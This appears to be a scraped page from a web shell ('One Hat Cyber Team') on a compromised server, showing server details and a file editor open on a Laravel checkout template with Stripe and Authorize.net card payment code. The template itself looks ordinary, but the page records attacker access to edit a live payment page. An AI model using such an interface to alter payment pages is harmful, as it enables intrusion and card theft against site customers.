One Hat Cyber Team
Your IP :
216.73.216.93
Server IP :
178.63.234.5
Server :
Linux whm01.ins-jo.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Server Software :
Apache
PHP Version :
8.1.32
Buat File
|
Buat Folder
Dir :
~
/
home
/
business
/
www
/
storage
/
framework
/
views
/
Edit File Name :
e8d89e695bdc79bf4d1447b3bff385c11cf05b35.php
<?php Config::set('app.timezone', App\Models\BasicSetting::first()->timezone); ?> <?php $__env->startSection('content'); ?> <?php if($message = Session::get('error')): ?> <div class="alert alert-danger alert-block"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($message); ?></strong> </div> <?php endif; ?> <?php if(!empty($membership) && ($membership->package->term == 'lifetime' || $membership->is_trial == 1)): ?> <div class="alert bg-warning alert-warning text-white text-center"> <h3><?php echo e(__('If you purchase this package')); ?> <strong class="text-dark">(<?php echo e($package->title); ?>)</strong>, <?php echo e(__('then your current package')); ?> <strong class="text-dark">(<?php echo e($membership->package->title); ?> <?php if($membership->is_trial == 1): ?> <span class="badge badge-secondary"><?php echo e(__('Trial')); ?></span> <?php endif; ?>) </strong> <?php echo e(__('will be replaced immediately')); ?></h3> </div> <?php endif; ?> <div class="row justify-content-center align-items-center mb-1"> <div class="col-md-1 pl-md-0"> </div> <div class="col-md-6 pl-md-0 pr-md-0"> <div class="card card-pricing card-pricing-focus card-secondary"> <form id="my-checkout-form" action="<?php echo e(route('user.plan.checkout')); ?>" method="post" enctype="multipart/form-data"> <?php echo csrf_field(); ?> <input type="hidden" name="package_id" value="<?php echo e($package->id); ?>"> <input type="hidden" name="user_id" value="<?php echo e(auth()->id()); ?>"> <input type="hidden" name="payment_method" id="payment" value="<?php echo e(old('payment_method')); ?>"> <div class="card-header"> <h4 class="card-title"><?php echo e($package->title); ?></h4> <div class="card-price"> <span class="price"><?php echo e($package->price == 0 ? 'Free' : format_price($package->price)); ?></span> <span class="text">/<?php echo e($package->term); ?></span> </div> </div> <div class="card-body"> <ul class="specification-list"> <li> <span class="name-specification"><?php echo e(__('Membership')); ?></span> <span class="status-specification"><?php echo e(__('Yes')); ?></span> </li> <li> <span class="name-specification"><?php echo e(__('Start Date')); ?></span> <?php if( (!empty($previousPackage) && $previousPackage->term == 'lifetime') || (!empty($membership) && $membership->is_trial == 1)): ?> <input type="hidden" name="start_date" value="<?php echo e(\Illuminate\Support\Carbon::yesterday()->format('d-m-Y')); ?>"> <span class="status-specification"><?php echo e(\Illuminate\Support\Carbon::today()->format('d-m-Y')); ?></span> <?php else: ?> <input type="hidden" name="start_date" value="<?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? \Carbon\Carbon::yesterday())->addDay()->format('d-m-Y')); ?>"> <span class="status-specification"><?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? \Carbon\Carbon::yesterday())->addDay()->format('d-m-Y')); ?></span> <?php endif; ?> </li> <li> <span class="name-specification"><?php echo e(__('Expire Date')); ?></span> <span class="status-specification"> <?php if($package->term == 'monthly'): ?> <?php if( (!empty($previousPackage) && $previousPackage->term == 'lifetime') || (!empty($membership) && $membership->is_trial == 1)): ?> <?php echo e(\Illuminate\Support\Carbon::parse(now())->addMonth()->format('d-m-Y')); ?> <input type="hidden" name="expire_date" value="<?php echo e(\Illuminate\Support\Carbon::parse(now())->addMonth()->format('d-m-Y')); ?>"> <?php else: ?> <?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? now())->addMonth()->format('d-m-Y')); ?> <input type="hidden" name="expire_date" value="<?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? now())->addMonth()->format('d-m-Y')); ?>"> <?php endif; ?> <?php elseif($package->term == 'lifetime'): ?> <?php echo e(__('Lifetime')); ?> <input type="hidden" name="expire_date" value="<?php echo e(\Illuminate\Support\Carbon::maxValue()->format('d-m-Y')); ?>"> <?php else: ?> <?php if( (!empty($previousPackage) && $previousPackage->term == 'lifetime') || (!empty($membership) && $membership->is_trial == 1)): ?> <?php echo e(\Illuminate\Support\Carbon::parse(now())->addYear()->format('d-m-Y')); ?> <input type="hidden" name="expire_date" value="<?php echo e(\Illuminate\Support\Carbon::parse(now())->addYear()->format('d-m-Y')); ?>"> <?php else: ?> <?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? now())->addYear()->format('d-m-Y')); ?> <input type="hidden" name="expire_date" value="<?php echo e(\Illuminate\Support\Carbon::parse($membership->expire_date ?? now())->addYear()->format('d-m-Y')); ?>"> <?php endif; ?> <?php endif; ?> </span> </li> <li> <span class="name-specification"><?php echo e(__('Total Cost')); ?></span> <input type="hidden" name="price" value="<?php echo e($package->price); ?>"> <span class="status-specification"> <?php echo e($package->price == 0 ? 'Free' : format_price($package->price)); ?> </span> </li> <?php if($package->price != 0): ?> <li> <div class="form-group px-0"> <label class="text-white"><?php echo e(__('Payment Method')); ?></label> <select name="payment_method" class="form-control input-solid" id="payment-gateway" required> <option value="" disabled selected><?php echo e(__('Select a Payment Method')); ?> </option> <?php $__currentLoopData = $payment_methods; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $payment_method): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($payment_method->name); ?>" <?php echo e(old('payment_method') == $payment_method->name ? 'selected' : ''); ?>> <?php echo e($payment_method->name); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </li> <?php endif; ?> <div class="row gateway-details pt-3 text-left" id="tab-stripe" style="display: none;"> <div class="col-12"> <div id="stripe-element" class="mb-2"> <!-- A Stripe Element will be inserted here. --> </div> <!-- Used to display form errors --> <div id="stripe-errors" class="pb-2 text-danger" role="alert"></div> </div> </div> <div class="row gateway-details pt-3" id="tab-anet" style="display: none;"> <div class="col-lg-6"> <div class="form-group mb-3"> <input class="form-control" type="text" id="anetCardNumber" placeholder="Card Number" disabled /> </div> </div> <div class="col-lg-6 mb-3"> <div class="form-group"> <input class="form-control" type="text" id="anetExpMonth" placeholder="Expire Month" disabled /> </div> </div> <div class="col-lg-6 "> <div class="form-group"> <input class="form-control" type="text" id="anetExpYear" placeholder="Expire Year" disabled /> </div> </div> <div class="col-lg-6 "> <div class="form-group"> <input class="form-control" type="text" id="anetCardCode" placeholder="Card Code" disabled /> </div> </div> <input type="hidden" name="opaqueDataValue" id="opaqueDataValue" disabled /> <input type="hidden" name="opaqueDataDescriptor" id="opaqueDataDescriptor" disabled /> <ul id="anetErrors" style="display: none;"></ul> </div> <div id="instructions" class="text-left"></div> <input type="hidden" name="is_receipt" value="0" id="is_receipt"> </ul> </div> <div class="card-footer"> <button class="btn btn-light btn-block" id="buyNow" type="submit"><b><?php echo e(__('Checkout Now')); ?></b></button> </div> </form> </div> </div> <div class="col-md-1 pr-md-0"></div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script> "use strict"; $(document).ready(function() { $('#stripe-element').addClass('d-none'); }) $(document).ready(function() { $("#payment-gateway").on('change', function() { let offline = <?php echo json_encode($offline) ?>; let data = []; offline.map(({ id, name }) => { data.push(name); }); let paymentMethod = $("#payment-gateway").val(); $(".gateway-details").hide(); $(".gateway-details input").attr('disabled', true); if (paymentMethod == 'Stripe') { $('#stripe-element').removeClass('d-none'); $("#tab-stripe").show(); $("#tab-stripe input").removeAttr('disabled'); } else { $('#stripe-element').addClass('d-none'); } if (paymentMethod == 'Authorize.net') { $("#tab-anet").show(); $("#tab-anet input").removeAttr('disabled'); } if (data.indexOf(paymentMethod) != -1) { let formData = new FormData(); formData.append('name', paymentMethod); $.ajax({ url: '<?php echo e(route('front.payment.instructions')); ?>', headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content') }, type: 'POST', contentType: false, processData: false, cache: false, data: formData, success: function(data) { let instruction = $("#instructions"); let instructions = `<div class="gateway-desc">${data.instructions}</div>`; if (data.description != null) { var description = `<div class="gateway-desc"><p>${data.description}</p></div>`; } else { var description = `<div></div>`; } let receipt = `<div class="form-element mb-2"> <label>Receipt<span>*</span></label><br> <input type="file" name="receipt" value="" class="file-input" required> <p class="mb-0 text-warning">** Receipt image must be .jpg / .jpeg / .png</p> </div>`; if (data.is_receipt == 1) { $("#is_receipt").val(1); let finalInstruction = instructions + description + receipt; instruction.html(finalInstruction); } else { $("#is_receipt").val(0); let finalInstruction = instructions + description; instruction.html(finalInstruction); } $('#instructions').fadeIn(); }, error: function(data) {} }) } else { $('#instructions').fadeOut(); } }); }); </script> <?php $anet = App\Models\PaymentGateway::find(20); $anerInfo = $anet->convertAutoData(); $anetTest = $anerInfo['sandbox_check']; if ($anetTest == 1) { $anetSrc = 'https://jstest.authorize.net/v1/Accept.js'; } else { $anetSrc = 'https://js.authorize.net/v1/Accept.js'; } ?> <script type="text/javascript" src="<?php echo e($anetSrc); ?>" charset="utf-8"></script> <script type="text/javascript"> $(document).ready(function() { $("#my-checkout-form").on('submit', function(e) { e.preventDefault(); let val = $("#payment-gateway").val(); if (val == 'Authorize.net') { sendPaymentDataToAnet(); } else { $(this).unbind('submit').submit(); } }); }); function sendPaymentDataToAnet() { // Set up authorisation to access the gateway. var authData = {}; authData.clientKey = "<?php echo e($anerInfo['public_key']); ?>"; authData.apiLoginID = "<?php echo e($anerInfo['login_id']); ?>"; var cardData = {}; cardData.cardNumber = document.getElementById("anetCardNumber").value; cardData.month = document.getElementById("anetExpMonth").value; cardData.year = document.getElementById("anetExpYear").value; cardData.cardCode = document.getElementById("anetCardCode").value; // Now send the card data to the gateway for tokenisation. // The responseHandler function will handle the response. var secureData = {}; secureData.authData = authData; secureData.cardData = cardData; Accept.dispatchData(secureData, responseHandler); } function responseHandler(response) { if (response.messages.resultCode === "Error") { var i = 0; let errorLists = ``; while (i < response.messages.message.length) { errorLists += `<li class="text-danger">${response.messages.message[i].text}</li>`; i = i + 1; } $("#anetErrors").show(); $("#anetErrors").html(errorLists); } else { paymentFormUpdate(response.opaqueData); } } function paymentFormUpdate(opaqueData) { document.getElementById("opaqueDataDescriptor").value = opaqueData.dataDescriptor; document.getElementById("opaqueDataValue").value = opaqueData.dataValue; document.getElementById("my-checkout-form").submit(); } </script> <script src="https://js.stripe.com/v3/"></script> <script> let stripe_key = "<?php echo e($stripe_key); ?>"; //stripe init start // Set your Stripe public key var stripe = Stripe(stripe_key); // Create a Stripe Element for the card field var elements = stripe.elements(); var cardElement = elements.create('card', { style: { base: { iconColor: '#454545', color: '#454545', fontWeight: '500', lineHeight: '50px', fontSmoothing: 'antialiased', backgroundColor: '#f2f2f2', ':-webkit-autofill': { color: '#454545', }, '::placeholder': { color: '#454545', }, } }, }); // Add an instance of the card Element into the `card-element` div cardElement.mount('#stripe-element'); // Handle form submission var form = document.getElementById('my-checkout-form'); // form.addEventListener('submit', function(event) { $('#buyNow').on('click', function(event) { event.preventDefault(); if ($('#payment-gateway').val() == 'Stripe') { stripe.createToken(cardElement).then(function(result) { if (result.error) { // Display errors to the customer var errorElement = document.getElementById('stripe-errors'); errorElement.textContent = result.error.message; } else { // Send the token to your server stripeTokenHandler(result.token); } }); } else { $('#my-checkout-form').submit(); } }); // Send the token to your server function stripeTokenHandler(token) { // Add the token to the form data before submitting to the server var form = document.getElementById('my-checkout-form'); var hiddenInput = document.createElement('input'); hiddenInput.setAttribute('type', 'hidden'); hiddenInput.setAttribute('name', 'stripeToken'); hiddenInput.setAttribute('value', token.id); form.appendChild(hiddenInput); // Submit the form to your server form.submit(); } //stripe init start end </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('user.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/business/public_html/resources/views/user/buy_plan/checkout.blade.php ENDPATH**/ ?>
Save